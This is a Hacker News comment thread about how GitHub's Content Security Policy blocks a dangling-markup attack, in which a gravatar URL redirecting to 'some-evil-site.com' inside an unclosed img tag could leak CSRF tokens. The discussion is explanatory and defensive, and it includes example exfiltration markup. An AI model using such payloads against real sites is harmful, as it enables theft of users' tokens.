Hacker News Reader

Comment by joshschreuder | Hacker News Reader

Can someone explain more about how the Gravatar example would work? How would the attacker embed a dangling markup on Github.com? If they could do that, couldn't they just use a standard XSS attack by embedding arbitrary HTML?

View on HN

CSP mitigates the risks of XSS attacks.

If you look at : https://cspvalidator.org/#url=https://github.com you'll see that the CSP policy directive defines the origins from which images can be loaded

    'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com ;

Previously, images could have been loaded from additional domains (gravatar) and could have been used to leak CSRF tokens.

What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party:

  https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f

But GitHub is the one opening and closing the tag, probably in some kind of template:

  <img src="{gravatar_url}">
  <p>secret</p>

Which should result in this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f">
  <p>secret</p>

and not this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
  <p>secret</p>

Any idea why they are getting the latter?

Yes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.

They weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do.

> In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com

Reply on news.ycombinator.com